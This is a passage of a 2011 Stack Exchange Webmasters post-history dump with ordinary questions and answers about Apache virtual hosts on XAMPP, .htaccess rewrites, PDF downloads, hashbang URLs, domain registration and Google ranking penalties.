&#xD;&#xA;&#xD;&#xA;    Object not found!&#xD;&#xA;    &#xD;&#xA;    The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again.&#xD;&#xA;    &#xD;&#xA;    If you think this is a server error, please contact the webmaster.&#xD;&#xA;    Error 404&#xD;&#xA;    myawesomeproject&#xD;&#xA;    8/22/2011 4:30:29 PM&#xD;&#xA;    Apache/2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;why is this . how can i create a virtual host........................ :(&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45274" PostHistoryTypeId="1" PostId="18592" RevisionGUID="e8e47c6a-b6e3-45f5-b6f2-0ac053489b3f" CreationDate="2011-08-22T11:05:36.910" UserDisplayName="K.B Panamaldeniya-littletipz" Text="virtual host not working in windows7 xampp" />
  <row Id="45275" PostHistoryTypeId="3" PostId="18592" RevisionGUID="e8e47c6a-b6e3-45f5-b6f2-0ac053489b3f" CreationDate="2011-08-22T11:05:36.910" UserDisplayName="K.B Panamaldeniya-littletipz" Text="&lt;apache2&gt;&lt;phpmyadmin&gt;&lt;xampp&gt;&lt;virtualhost&gt;" />
  <row Id="45276" PostHistoryTypeId="2" PostId="18593" RevisionGUID="df4b2dc7-3bff-462c-8968-5c9f782bea71" CreationDate="2011-08-22T12:57:42.537" UserId="2483" Text="Given the configuration you describe I'm sort of surprised that you apache is starting. Try configuring your hosts file like this&#xD;&#xA;&#xD;&#xA;        127.0.0.1    localhost myawesomeproject.com&#xD;&#xA;&#xD;&#xA;then tidy up your vhosts like this&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;      DocumentRoot &quot;C:\xampp\htdocs&quot;&#xD;&#xA;      ServerName localhost&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerAdmin awesome@myawesomeproject.com&#xD;&#xA;        DocumentRoot C:\myawesomeproject&#xD;&#xA;        ServerName myawesomeproject.com&#xD;&#xA;    &#xD;&#xA;        &lt;Directory &quot;C:\myawesomeproject&quot;&gt;&#xD;&#xA;            Order allow,deny&#xD;&#xA;           Allow from all&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;This should direct traffic for http://myawesomeproject.com to C:\myawesomeproject and traffic for http://localhost to C:\xampp\htdocs." />
  <row Id="45277" PostHistoryTypeId="5" PostId="18577" RevisionGUID="df823dfe-25a0-4719-aa46-8954f2616152" CreationDate="2011-08-22T13:14:56.843" UserId="7198" Comment="improved formatting" Text="Is there a way to accept form input and have the output dumped/printed back to the web page with HTML or JavaScript/AJAX and without PHP/Perl/server-side scripts?" />
  <row Id="45278" PostHistoryTypeId="4" PostId="18577" RevisionGUID="df823dfe-25a0-4719-aa46-8954f2616152" CreationDate="2011-08-22T13:14:56.843" UserId="7198" Comment="improved formatting" Text="Show submitted form input without server-side scripts" />
  <row Id="45279" PostHistoryTypeId="2" PostId="18594" RevisionGUID="3f416b42-badc-4a79-a071-a19c3d66ebde" CreationDate="2011-08-22T13:42:18.960" UserId="7369" Text="Have you ever looked at [Google's Webmaster Central][1]? It has some site management stuff.&#xD;&#xA;&#xD;&#xA;I use a calendar such as Outlook or Google calendar to track domain and hosting renewal dates.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/" />
  <row Id="45280" PostHistoryTypeId="2" PostId="18595" RevisionGUID="e25b0b60-6cd4-4e84-8146-25af72b3e1bd" CreationDate="2011-08-22T13:56:41.223" UserId="9731" Text="I have this strong affection for C#, but currently I think I&quot;m still between beginner/intermediate level in PHP. Is it advisable to start learning C# while I'm still trying to master PHP. &#xD;&#xA;" />
  <row Id="45281" PostHistoryTypeId="1" PostId="18595" RevisionGUID="e25b0b60-6cd4-4e84-8146-25af72b3e1bd" CreationDate="2011-08-22T13:56:41.223" UserId="9731" Text="Beginner/Intermediate level in PHP wanting to learn C#" />
  <row Id="45282" PostHistoryTypeId="3" PostId="18595" RevisionGUID="e25b0b60-6cd4-4e84-8146-25af72b3e1bd" CreationDate="2011-08-22T13:56:41.223" UserId="9731" Text="&lt;web-development&gt;" />
  <row Id="45283" PostHistoryTypeId="10" PostId="18595" RevisionGUID="5718f8b6-aea9-4bab-afff-745231b5a29d" CreationDate="2011-08-22T14:05:08.127" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="45284" PostHistoryTypeId="2" PostId="18596" RevisionGUID="05a0f434-d38d-4cfc-939f-6d6bdd353ab3" CreationDate="2011-08-22T14:50:55.923" UserId="9732" Text="Many CMS systems (e.g. Joomla) offer the user an option to download the post content in PDF format. &#xD;&#xA;&#xD;&#xA;Is this really worth implementing?&#xD;&#xA;&#xD;&#xA;Are there any reliable stats showing how many users do use this functionality?" />
  <row Id="45285" PostHistoryTypeId="1" PostId="18596" RevisionGUID="05a0f434-d38d-4cfc-939f-6d6bdd353ab3" CreationDate="2011-08-22T14:50:55.923" UserId="9732" Text="Download as PDF - really worth implementing?" />
  <row Id="45286" PostHistoryTypeId="3" PostId="18596" RevisionGUID="05a0f434-d38d-4cfc-939f-6d6bdd353ab3" CreationDate="2011-08-22T14:50:55.923" UserId="9732" Text="&lt;cms&gt;&lt;content&gt;&lt;statistics&gt;&lt;pdf&gt;" />
  <row Id="45287" PostHistoryTypeId="25" PostId="18563" RevisionGUID="f25a0d58-383e-4fc9-bbf9-9b4b92bf23c1" CreationDate="2011-08-22T15:35:06.210" Comment="http://twitter.com/#!/StackWebmasters/status/105664298365362177" />
  <row Id="45288" PostHistoryTypeId="2" PostId="18597" RevisionGUID="49217d84-44b8-4cc7-aa96-e589294e69af" CreationDate="2011-08-22T15:53:43.370" UserId="9204" Text="I have seen on a few websites/themes eg (http://www.adsensepress.com/maxctr-wordpress-theme) which put content above or below the adsense ads and make them look like the ads. Is that acceptable? I read the Adsense TOS and it doesn't say explicitly anywhere that it is not.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45289" PostHistoryTypeId="1" PostId="18597" RevisionGUID="49217d84-44b8-4cc7-aa96-e589294e69af" CreationDate="2011-08-22T15:53:43.370" UserId="9204" Text="Is it okay to make my affiliate links look like google adsense ads and place above or below them?" />
  <row Id="45290" PostHistoryTypeId="3" PostId="18597" RevisionGUID="49217d84-44b8-4cc7-aa96-e589294e69af" CreationDate="2011-08-22T15:53:43.370" UserId="9204" Text="&lt;google-adsense&gt;" />
  <row Id="45291" PostHistoryTypeId="2" PostId="18598" RevisionGUID="61204725-2381-4c6e-bd34-98fa0a7b5388" CreationDate="2011-08-22T15:59:51.973" UserId="4502" Text="This isn't really a question you can throw out generically like this. You need to make the decision based on your content and whether you want or need the extra control the PDF format can get you. (The fact you're asking suggests probably not, though.) &#xD;&#xA;&#xD;&#xA;I'd personally say that the whole &quot;print as PDF&quot; thing is a bit of a historical hold-over that's increasingly unnecessary with the recent increase in availability of font-embedding." />
  <row Id="45292" PostHistoryTypeId="17" PostId="18599" RevisionGUID="7cdc83a6-7daa-4315-9476-8c2d294b79cf" CreationDate="2011-08-22T16:17:30.053" UserId="-1" Comment="from http://stackoverflow.com/questions/7150243/would-problems-arise-if-a-domain-was-bought-as-name-com-instead-of-www-name-co" Text="" />
  <row Id="45293" PostHistoryTypeId="17" PostId="18600" RevisionGUID="f043fe7a-8d5e-4058-bda7-a7d5e65a25d8" CreationDate="2011-08-22T16:17:30.053" UserId="-1" Comment="from http://stackoverflow.com/questions/7150243/would-problems-arise-if-a-domain-was-bought-as-name-com-instead-of-www-name-co" Text="" />
  <row Id="45294" PostHistoryTypeId="17" PostId="18601" RevisionGUID="9a4eabdb-4065-4af7-a9fd-acc03e348c81" CreationDate="2011-08-22T16:17:30.053" UserId="-1" Comment="from http://stackoverflow.com/questions/7150243/would-problems-arise-if-a-domain-was-bought-as-name-com-instead-of-www-name-co" Text="" />
  <row Id="45295" PostHistoryTypeId="2" PostId="18600" RevisionGUID="764967d2-f7f7-436b-8458-8b32ac151c1b" CreationDate="2011-08-22T16:06:34.123" UserId="9734" UserDisplayName="Adam Robinson" Text="You can't purchase &quot;www.name.com&quot; from a TLD (top-level domain) registrar; you can only purchase name.com, and then the DNS servers for name.com would be responsible for handling the www. portion." />
  <row Id="45296" PostHistoryTypeId="2" PostId="18601" RevisionGUID="60391c0d-4c31-45f1-943d-79b605136472" CreationDate="2011-08-22T16:07:03.217" UserId="9733" UserDisplayName="Laykes" Text="www.name.com isn't a domain it is a hostname/subdomain derived from name.com. &#xD;&#xA;&#xD;&#xA;The domain, is `name.com`.&#xD;&#xA;&#xD;&#xA;So what you have asked is not possible. &#xD;&#xA;&#xD;&#xA;If you had a domain name.com you would configure an Alias so that your website also accepts requests from www.name.com and then you would make sure using a 301 redirect that all requests are routed to either the www.name.com version or the name.com. " />
  <row Id="45297" PostHistoryTypeId="2" PostId="18599" RevisionGUID="a7e2820e-f323-4ca6-b872-aaec07900ec6" CreationDate="2011-08-22T16:04:21.120" UserId="9744" UserDisplayName="deztructicus" Text="If a website domain name was bought and registered as 'name.com' instead of '&lt;b&gt;www&lt;/b&gt;.name.com' would users still be able to find the site by typing 'www.name.com'?" />
  <row Id="45298" PostHistoryTypeId="1" PostId="18599" RevisionGUID="a7e2820e-f323-4ca6-b872-aaec07900ec6" CreationDate="2011-08-22T16:04:21.120" UserId="9744" UserDisplayName="deztructicus" Text="Would problems arise if a domain was bought as 'name.com' instead of 'www.name.com'" />
  <row Id="45299" PostHistoryTypeId="3" PostId="18599" RevisionGUID="a7e2820e-f323-4ca6-b872-aaec07900ec6" CreationDate="2011-08-22T16:04:21.120" UserId="9744" UserDisplayName="deztructicus" Text="&lt;websites&gt;" />
  <row Id="45300" PostHistoryTypeId="2" PostId="18602" RevisionGUID="28cab60b-4138-4734-bc07-b6f470401497" CreationDate="2011-08-22T16:18:01.873" UserId="9129" Text="Depends on the content of your site. If your content is good reference material, I could see the benefit. I know it may not be the answer you want to hear, but you may have to generate the stats yourself. But by the time you have done that you have already done the implementation. &#xD;&#xA;&#xD;&#xA;If you consider the functionality, it is just a convenience to your users, and you can never go wrong with that. Even if it is rarely used, it's is sometimes just the perception that you offer a user friendly solutions.&#xD;&#xA;&#xD;&#xA;good luck!&#xD;&#xA;Joe" />
  <row Id="45301" PostHistoryTypeId="2" PostId="18603" RevisionGUID="1f700cee-aee3-4a69-93f6-417aece6a796" CreationDate="2011-08-22T16:35:30.103" UserId="7198" Text="Good reasons to offer content as a PDF:&#xD;&#xA;&#xD;&#xA; - Your audience may want to save the content for later reference, but it spans multiple web pages, so bookmarking or printing isn't necessarily practical. (e.g. a university course prospectus.)&#xD;&#xA;&#xD;&#xA; - You want to offer a version of the page as it originally appeared. (e.g. scanned legal documents, historical records, or handwriting.)&#xD;&#xA;&#xD;&#xA; - Your audience needs to print the current page, but the file will cease to be useful if it isn't printed exactly as laid out or if paginated incorrectly. (e.g. book and magazine proofs, film&amp;nbsp;scripts, forms to be posted that will be processed automatically with optical character recognition, air travel tickets, or watermarked documents)&#xD;&#xA;&#xD;&#xA; - Your site is aimed at academics or medical professionals, who tend to favour PDF as an archive method over bookmarking, printing, or saving the entire page.&#xD;&#xA;&#xD;&#xA;For regular blog posts, though, there's little reason to offer a PDF download of the current page.&#xD;&#xA;&#xD;&#xA;If you do still want to offer PDF downloads, consider linking to a free tool that will convert pages to PDFs on the fly (e.g. [web2pdf](http://www.google.com/search?q=web2pdf) ). One advantage of this over PDF generation built into content management systems like Joomla is that you don't have to host the PDFs on your own server." />
  <row Id="45302" PostHistoryTypeId="5" PostId="18603" RevisionGUID="6649c630-8420-4126-869a-3d5e5270cfae" CreationDate="2011-08-22T16:56:57.947" UserId="7198" Comment="added 134 characters in body" Text="On a blog, there are few reasons to offer a PDF download of the current page.&#xD;&#xA;&#xD;&#xA;The sort of content you might want to offer as a PDF tends to be content you've created yourself in a dedicated print design application such as Adobe InDesign.&#xD;&#xA;&#xD;&#xA;Good reasons to offer PDFs:&#xD;&#xA;&#xD;&#xA; - Your audience may want to save the content for later reference, but it spans multiple web pages, so bookmarking or printing isn't necessarily practical. (e.g. a university course prospectus.)&#xD;&#xA;&#xD;&#xA; - You want to offer a version of the page as it originally appeared. (e.g. scanned legal documents, historical records, or handwriting.)&#xD;&#xA;&#xD;&#xA; - Your audience needs to print the current page, but the file will cease to be useful if it isn't printed exactly as laid out or if paginated incorrectly. (e.g. book and magazine proofs, film&amp;nbsp;scripts, forms to be posted that will be processed automatically with optical character recognition, air travel tickets, or watermarked documents)&#xD;&#xA;&#xD;&#xA; - Your site is aimed at academics or medical professionals, who tend to favour PDF as an archive method over bookmarking, printing, or saving the entire page.&#xD;&#xA;&#xD;&#xA;If you want to offer PDF downloads, but don't intend to create them by hand yourself, consider linking to a free tool that will convert pages to PDFs on the fly (e.g. [web2pdf](http://www.google.com/search?q=web2pdf) ). One advantage of this over PDF generation built into content management systems like Joomla is that you don't have to host or generate the PDFs on your own server." />
  <row Id="45303" PostHistoryTypeId="5" PostId="17826" RevisionGUID="a069b94c-d400-4316-b514-0477ec1095dc" CreationDate="2011-08-22T17:17:46.167" UserId="9404" Comment="edited body" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWT, the _Social Activity &gt; Audience_ section for my site (currently 47 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="45304" PostHistoryTypeId="17" PostId="18604" RevisionGUID="5678e375-c62f-4c54-9ac3-3e031499cec0" CreationDate="2011-08-22T18:01:22.187" UserId="-1" Comment="from http://stackoverflow.com/questions/7151338/what-is-difference-between-example-com-index-phpmystate-and-example-com-index-ph" Text="" />
  <row Id="45305" PostHistoryTypeId="17" PostId="18605" RevisionGUID="7a2002a7-db61-432e-9b3a-1602821b7a6e" CreationDate="2011-08-22T18:01:22.187" UserId="-1" Comment="from http://stackoverflow.com/questions/7151338/what-is-difference-between-example-com-index-phpmystate-and-example-com-index-ph" Text="" />
  <row Id="45306" PostHistoryTypeId="2" PostId="18605" RevisionGUID="5a86c514-f7e9-4f4e-82d8-e379c847e814" CreationDate="2011-08-22T17:47:45.780" UserDisplayName="Joey" Text="The exclamation point, eliminates the case of an empty hash like `example.com/index.php#` which would make the page scroll to the top." />
  <row Id="45307" PostHistoryTypeId="2" PostId="18604" RevisionGUID="ce75b967-ee6f-4167-8750-164e5206bec3" CreationDate="2011-08-22T17:44:23.433" UserId="2213" Text="What is difference between &#xD;&#xA;&#xD;&#xA;    example.com/index.php#mystate &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;    example.com/index.php#!mystate" />
  <row Id="45308" PostHistoryTypeId="1" PostId="18604" RevisionGUID="ce75b967-ee6f-4167-8750-164e5206bec3" CreationDate="2011-08-22T17:44:23.433" UserId="2213" Text="What is difference between example.com/index.php#mystate and example.com/index.php#!mystate" />
  <row Id="45309" PostHistoryTypeId="3" PostId="18604" RevisionGUID="ce75b967-ee6f-4167-8750-164e5206bec3" CreationDate="2011-08-22T17:44:23.433" UserId="2213" Text="&lt;javascript&gt;&lt;ajax&gt;&lt;google&gt;&lt;seo&gt;" />
  <row Id="45310" PostHistoryTypeId="2" PostId="18606" RevisionGUID="82d18d01-ec66-46b7-bf7c-875283d90af5" CreationDate="2011-08-22T18:05:21.680" UserId="661" Text="The fragment identifier (when dealing with the URI of an HTML document) is supposed to be used to link to specific parts of a page. It isn't sent to the server.&#xD;&#xA;&#xD;&#xA;In the last few years it has been used as a [hack to maintain state information](http://blog.benward.me/post/3231388630) in websites that make heavy use of Ajax. &#xD;&#xA;&#xD;&#xA;The use of a fragment identifier starting with a `!` character is a [further hack](http://isolani.co.uk/blog/javascript/BreakingTheWebWithHashBangs) on top of this to tell Google how to generate a real URI for indexing purposes. &#xD;&#xA;&#xD;&#xA;The introduction of [pushState](https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history#The_pushState%28%29.c2.a0method) eliminates the need for these hacks in modern browsers. &#xD;&#xA;&#xD;&#xA;For browsers that don't support `pushState` some people take the approach of falling back to the hashbang hack, while others (such as [GitHub](https://github.com/blog/760-the-tree-slider)) fall back to normal links (instead of using Ajax for major content changes [in browsers that don't support `pushState`](http://caniuse.com/#search=pushstate))." />
  <row Id="45311" PostHistoryTypeId="5" PostId="13849" RevisionGUID="f5a1d515-37b3-494b-a11c-72fff97af20d" CreationDate="2011-08-22T18:09:09.990" UserId="9227" Comment="grammar, punctuation, spelling" Text="I have configured a virtual host in my local machine and every thing is working fine.&#xD;&#xA;Now I want to use SEO friendly urls. To achieve this I have used the .htaccess file.&#xD;&#xA;&#xD;&#xA;My virtual host configuration is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and my .htaccess file has:&#xD;&#xA;&#xD;&#xA;    AllowOverride All&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteBase /ypp/ &#xD;&#xA;    RewriteRule ^/browse$ /browse.php &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1 &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The above .htaccess setting is not working.&#xD;&#xA;After that I modified my virtual host setting and it is working.&#xD;&#xA;The new virtual host setting is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;    &#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteRule ^/browse$ /browse.php&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1&#xD;&#xA;        RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2&#xD;&#xA;        ServerAdmin postmaster@dummy-host2.localhost&#xD;&#xA;            DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;        &lt;Directory &quot;C:/xampp/htdocs/ypp&quot;&gt;&#xD;&#xA;        	AllowOverride All&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Please let me know where I am going wrong in the .htacess file for url rewriting. I do not want to use the settings in virtual host, since for every change I have restart apache.&#xD;&#xA;" />
  <row Id="45312" PostHistoryTypeId="24" PostId="13849" RevisionGUID="f5a1d515-37b3-494b-a11c-72fff97af20d" CreationDate="2011-08-22T18:09:09.990" Comment="Proposed by 9227 approved by 1253 edit id of 496" />
  <row Id="45313" PostHistoryTypeId="5" PostId="15585" RevisionGUID="d649eb1a-cb72-4c80-a541-12678fed41cb" CreationDate="2011-08-22T18:09:19.600" UserId="9227" Comment="grammar, spelling, punctuation" Text="You must put `AllowOverride All` in your `&lt;Directory/&gt;` section of the server configuration.&#xD;&#xA;&#xD;&#xA;The only Apache configuration files that can allow options are the ones directly in the server (main file, virtualhost, etc.).&#xD;&#xA;&#xD;&#xA;The .htaccess file can only **remove** override rights.&#xD;&#xA;&#xD;&#xA;That is:&#xD;&#xA;&#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        DocumentRoot &quot;C:/xampp/htdocs/ypp&quot;&#xD;&#xA;        ServerName ypp.com&#xD;&#xA;        ServerAlias www.ypp.com&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;        &lt;Directory &quot;C:/xampp/htdocs/ypp&quot;&gt;&#xD;&#xA;            AllowOverride All&#xD;&#xA;        &lt;/Directory&gt;&#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;and the .htaccess file :&#xD;&#xA;&#xD;&#xA;    RewriteEngine On &#xD;&#xA;    RewriteBase /ypp/ &#xD;&#xA;    RewriteRule ^/browse$ /browse.php &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)$ /browse.php?cat=$1 &#xD;&#xA;    RewriteRule ^/browse/([a-z]+)/([a-z]+)$ /browse.php?cat=$1&amp;subcat=$2 &#xD;&#xA;&#xD;&#xA;" />
  <row Id="45314" PostHistoryTypeId="24" PostId="15585" RevisionGUID="d649eb1a-cb72-4c80-a541-12678fed41cb" CreationDate="2011-08-22T18:09:19.600" Comment="Proposed by 9227 approved by 1253 edit id of 497" />
  <row Id="45315" PostHistoryTypeId="2" PostId="18607" RevisionGUID="336588cd-2a82-4df2-b801-82824853a0af" CreationDate="2011-08-22T18:26:26.423" UserId="9567" Text="Google has [listed][2] a couple of SMGs but I don't want to try every single one to find the best. Google's own Sitemap Generator is [released][1] only for Apache. I am wondering whether it can be tweaked to work with Nginx, and if not what are the best alternatives which are free and unlimited and work with nginx?  &#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/googlesitemapgenerator/downloads/list&#xD;&#xA;  [2]: http://code.google.com/p/sitemap-generators/wiki/SitemapGenerators" />
  <row Id="45316" PostHistoryTypeId="1" PostId="18607" RevisionGUID="336588cd-2a82-4df2-b801-82824853a0af" CreationDate="2011-08-22T18:26:26.423" UserId="9567" Text="Unlimited free sitemap generator for Nginx?" />
  <row Id="45317" PostHistoryTypeId="3" PostId="18607" RevisionGUID="336588cd-2a82-4df2-b801-82824853a0af" CreationDate="2011-08-22T18:26:26.423" UserId="9567" Text="&lt;sitemap&gt;&lt;nginx&gt;" />
  <row Id="45318" PostHistoryTypeId="25" PostId="18599" RevisionGUID="ade52290-3551-47ef-8593-4581b8b1cbe0" CreationDate="2011-08-22T18:35:06.940" Comment="http://twitter.com/#!/StackWebmasters/status/105709598303985664" />
  <row Id="45319" PostHistoryTypeId="2" PostId="18608" RevisionGUID="19b89abe-dbc4-4458-af64-08e3f5408f3e" CreationDate="2011-08-22T18:53:43.897" UserId="2573" Text="I went to register a domain today and for my surprise almost all the short variations I could possible think or use for the domain I want were taken giving me not much options in that sense.&#xD;&#xA;&#xD;&#xA;What was more pissing about it is that more then 90% of the variations I tried were hold by place holders selling the name that usually goes for at least 100USD or even more.&#xD;&#xA;&#xD;&#xA;Are there any solutions to this kinda of things ?&#xD;&#xA;&#xD;&#xA;Is my one and only option to keep searching until I can find an available name even if at that point it has lost completely the mean it had or became extremely big where no one would remember it ?&#xD;&#xA;&#xD;&#xA;What do you usually do in this kinda of situations ?&#xD;&#xA;&#xD;&#xA;Consider yourself as a starter that doesnt have 100USD to spend, I do have that much but that is not really the case here and that was just a cost example, I heard that there are domains that even with bad names can go for more then 1000USD or even more." />
  <row Id="45320" PostHistoryTypeId="1" PostId="18608" RevisionGUID="19b89abe-dbc4-4458-af64-08e3f5408f3e" CreationDate="2011-08-22T18:53:43.897" UserId="2573" Text="Registering a domain became a problem?" />
  <row Id="45321" PostHistoryTypeId="3" PostId="18608" RevisionGUID="19b89abe-dbc4-4458-af64-08e3f5408f3e" CreationDate="2011-08-22T18:53:43.897" UserId="2573" Text="&lt;domain-registration&gt;&lt;resolution&gt;" />
  <row Id="45322" PostHistoryTypeId="2" PostId="18609" RevisionGUID="97c1db89-c0b7-48e6-9114-e603ef43af8b" CreationDate="2011-08-22T19:00:46.437" UserId="9736" Text="I have a Corel Draw .cdr file which has a full design of a web page. Is there any way to convert that design into HTML template?" />
  <row Id="45323" PostHistoryTypeId="1" PostId="18609" RevisionGUID="97c1db89-c0b7-48e6-9114-e603ef43af8b" CreationDate="2011-08-22T19:00:46.437" UserId="9736" Text="How to convert Corel Draw design into HTML design?" />
  <row Id="45324" PostHistoryTypeId="3" PostId="18609" RevisionGUID="97c1db89-c0b7-48e6-9114-e603ef43af8b" CreationDate="2011-08-22T19:00:46.437" UserId="9736" Text="&lt;html&gt;&lt;website-design&gt;" />
  <row Id="45325" PostHistoryTypeId="6" PostId="18608" RevisionGUID="94ff741d-68eb-472e-bfa7-54d10b4140a9" CreationDate="2011-08-22T19:22:48.357" UserId="2573" Comment="edited tags" Text="&lt;domain-registration&gt;" />
  <row Id="45326" PostHistoryTypeId="2" PostId="18610" RevisionGUID="8aed2333-d763-4707-aab7-5af740a66618" CreationDate="2011-08-22T19:28:44.327" UserId="9737" Text="for a long time we search in internet, Google forums and webmaster tools, we didn't find any reason for the problem described below,&#xD;&#xA;&#xD;&#xA;our web site www.niazpardaz.com traffic has been dropped 90% for second time within recent six months. the first time some of pages with address niazpardaz.com/search dropped&#xD;&#xA;the second time same pages with address niazpardaz.com/sa dropped and the  whole  website get penalty and it's rank has been dropped too much. our site is cleaner than our competitors and we review and respect all rules mentioned in Google guidelines.&#xD;&#xA;but until now we didn't find any reason for this penalty and so in the future we can not prevent its occurrence. please help us around this issue.&#xD;&#xA;" />
  <row Id="45327" PostHistoryTypeId="1" PostId="18610" RevisionGUID="8aed2333-d763-4707-aab7-5af740a66618" CreationDate="2011-08-22T19:28:44.327" UserId="9737" Text="didn't find any reason for the problem described below" />
  <row Id="45328" PostHistoryTypeId="3" PostId="18610" RevisionGUID="8aed2333-d763-4707-aab7-5af740a66618" CreationDate="2011-08-22T19:28:44.327" UserId="9737" Text="&lt;google&gt;&lt;penalty&gt;" />
  <row Id="45329" PostHistoryTypeId="5" PostId="18610" RevisionGUID="8e64485d-3ba9-4c11-af89-cfc5180aebbf" CreationDate="2011-08-22T19:35:40.260" UserId="1253" Comment="deleted 200 characters in body" Text="Our web site traffic has been dropped 90% for second time within recent six months. The first time some of pages with address niazpardaz.com/search dropped, the second time same pages with address niazpardaz.com/sa dropped and the whole website get penalty and its rank has been dropped too much. Our site is cleaner than our competitors and we review and respect all rules mentioned in Google guidelines but we didn't find any reason for this penalty and so in the future we can not prevent its re-occurrence. &#xD;&#xA;" />
  <row Id="45330" PostHistoryTypeId="2" PostId="18611" RevisionGUID="665b7ded-7558-45a9-80a4-e61aa658348e" CreationDate="2011-08-22T19:38:38.667" UserId="1253" Text="A few thoughts:&#xD;&#xA;&#xD;&#xA; - A &quot;cleaner&quot; site is not only subjective but it is not a ranking factor. It can indirectly affect a page's ranking as a poorly built website will be harder to use and thus attract less links. But by itself it is not a ranking factor.&#xD;&#xA;&#xD;&#xA; - If this has been happening to you recently then the odds are you are falling victim to  what is known as the &quot;Panda algorithm&quot;. This is Google's attempt to weed out low quality content. If you haven't done anything that violates Google's terms of service, and you are sure that your pages are optimized, then this is a likely culprit. The only real way out of it is to make sure you have quality original content in your website.&#xD;&#xA;&#xD;&#xA; - Have you signed up for a [Google Webmasters Tools][1] account? If there is a problem with your website Google may notify you through it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webmasters/tools/" />
  <row Id="45331" PostHistoryTypeId="4" PostId="18610" RevisionGUID="8e64485d-3ba9-4c11-af89-cfc5180aebbf" CreationDate="2011-08-22T19:35:40.260" UserId="1253" Comment="deleted 200 characters in body" Text="Why is my site being penalized by Google?" />
  <row Id="45332" PostHistoryTypeId="2" PostId="18612" RevisionGUID="3828ef6b-35a2-4572-8ecb-856ef52abca7" CreationDate="2011-08-22T19:45:10.267" UserId="1253" Text="Bad domains that sell for $1,000? Not likely. It can't be bad and valuable at the same time. Wherever you are &quot;hearing&quot; these things is a bad source of information and you should probably stop using it.&#xD;&#xA;&#xD;&#xA;Optimal domain names are definitely getting harder to come buy as literally millions and millions of .com domains have been sold and a large number of them are being registered everyday. If you can't find a .com domain that you like alternatives include:&#xD;&#xA;&#xD;&#xA;- Registering the domain using the .net TLD. It is almost as widely recognized as .com.&#xD;&#xA;&#xD;&#xA;- Registering the domain using the .co TLD. Although this is the TLD for Columbia they have opened it up to general registration and Google has acknowledged it as being a general TLD like .com, .net, 